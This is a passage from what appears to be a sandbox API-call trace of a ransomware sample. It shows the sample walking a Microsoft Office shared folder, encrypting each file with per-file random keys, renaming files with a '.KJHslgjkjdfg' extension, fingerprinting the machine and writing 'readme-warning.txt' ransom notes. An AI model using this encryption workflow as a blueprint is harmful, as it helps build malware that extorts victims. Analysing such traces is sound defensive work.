dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0151.599] GetProcessHeap () returned 0x2a0000 [0151.599] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0151.599] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0151.599] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0151.599] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.599] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.599] GetProcessHeap () returned 0x2a0000 [0151.599] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0151.600] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0151.600] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.600] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0151.613] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0151.614] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0151.614] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0151.614] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0151.614] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0151.614] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.614] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.614] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.614] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa5c00, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xa5c00, lpOverlapped=0x0) returned 1 [0151.635] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xa5c00, dwBufLen=0xa5c00 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xa5c00) returned 1 [0151.643] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.643] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa5c00, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xa5c00, lpOverlapped=0x0) returned 1 [0151.645] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.646] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xa5cc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.646] SetEndOfFile (hFile=0x118) returned 1 [0151.649] GetProcessHeap () returned 0x2a0000 [0151.649] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0151.649] GetProcessHeap () returned 0x2a0000 [0151.649] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0151.650] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex.kjhslgjkjdfg")) returned 1 [0151.651] CloseHandle (hObject=0x118) returned 1 [0151.651] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 0 [0151.651] GetProcessHeap () returned 0x2a0000 [0151.651] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0151.651] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.651] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0151.651] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.651] GetProcessHeap () returned 0x2a0000 [0151.651] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0151.651] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.651] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0151.651] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.651] GetProcessHeap () returned 0x2a0000 [0151.651] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f8728 [0151.651] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.651] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f8728, pdwDataLen=0x290ee20 | out: pbData=0x2f8728, pdwDataLen=0x290ee20) returned 1 [0151.652] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.652] GetProcessHeap () returned 0x2a0000 [0151.652] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0151.652] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.652] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0151.652] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.652] GetProcessHeap () returned 0x2a0000 [0151.652] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0151.652] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.652] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0151.652] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.652] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0151.652] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0151.652] RegCloseKey (hKey=0x118) returned 0x0 [0151.652] GetProcessHeap () returned 0x2a0000 [0151.652] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0151.652] GetProcessHeap () returned 0x2a0000 [0151.652] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0151.653] GetProcessHeap () returned 0x2a0000 [0151.653] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0151.653] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.653] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0151.653] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.653] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0151.653] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0151.653] GetProcessHeap () returned 0x2a0000 [0151.653] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0151.653] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0151.653] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0151.653] GetProcessHeap () returned 0x2a0000 [0151.653] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f8af0 [0151.653] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\readme-warning.txt") returned 79 [0151.653] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0151.657] WriteFile (in: hFile=0x118, lpBuffer=0x2f8af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f8af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0151.659] CloseHandle (hObject=0x118) returned 1 [0151.659] GetProcessHeap () returned 0x2a0000 [0151.659] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f8728 | out: hHeap=0x2a0000) returned 1 [0151.659] GetProcessHeap () returned 0x2a0000 [0151.659] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f8af0 | out: hHeap=0x2a0000) returned 1 [0151.659] GetProcessHeap () returned 0x2a0000 [0151.659] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0151.659] GetProcessHeap () returned 0x2a0000 [0151.659] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0151.659] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0151.660] GetProcessHeap () returned 0x2a0000 [0151.660] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0151.660] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FRAR", cAlternateFileName="")) returned 1 [0151.660] GetProcessHeap () returned 0x2a0000 [0151.660] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8a) returned 0x2ef2d8 [0151.660] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0151.666] GetProcessHeap () returned 0x2a0000 [0151.666] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0151.666] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0151.666] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 1 [0151.666] GetProcessHeap () returned 0x2a0000 [0151.666] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x28c) returned 0x2f32d0 [0151.666] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0151.667] GetProcessHeap () returned 0x2a0000 [0151.667] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0151.667] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0151.667] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0151.667] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x2, lpOverlapped=0x0) returned 1 [0151.670] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.670] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.670] GetProcessHeap () returned 0x2a0000 [0151.670] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0151.670] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0151.671] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.671] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0151.671] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0151.671] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0151.671] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0151.671] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0151.671] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0151.671] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.671] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.671] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.671] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x100000, lpOverlapped=0x0) returned 1 [0151.699] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x100000, dwBufLen=0x100000 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x100000) returned 1 [0151.718] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.718] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x100000, lpOverlapped=0x0) returned 1 [0151.722] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x166c84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.722] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0151.722] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.722] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x66bae, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x66bae, lpOverlapped=0x0) returned 1 [0151.733] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x66bb0, dwBufLen=0x66bb0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x66bb0) returned 1 [0151.740] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.741] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x66bb0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x66bb0, lpOverlapped=0x0) returned 1 [0151.742] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.742] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x166c84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.742] SetEndOfFile (hFile=0x118) returned 1 [0151.746] GetProcessHeap () returned 0x2a0000 [0151.746] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0151.746] GetProcessHeap () returned 0x2a0000 [0151.746] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0151.746] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its.kjhslgjkjdfg")) returned 1 [0151.751] CloseHandle (hObject=0x118) returned 1 [0151.751] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 0 [0151.751] GetProcessHeap () returned 0x2a0000 [0151.751] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0151.751] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.751] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0151.751] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.751] GetProcessHeap () returned 0x2a0000 [0151.751] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0151.751] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.751] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0151.751] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.751] GetProcessHeap () returned 0x2a0000 [0151.751] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f8728 [0151.751] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.751] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f8728, pdwDataLen=0x290ee20 | out: pbData=0x2f8728, pdwDataLen=0x290ee20) returned 1 [0151.751] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.752] GetProcessHeap () returned 0x2a0000 [0151.752] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0151.752] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.752] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0151.752] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.752] GetProcessHeap () returned 0x2a0000 [0151.752] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0151.752] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.752] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, 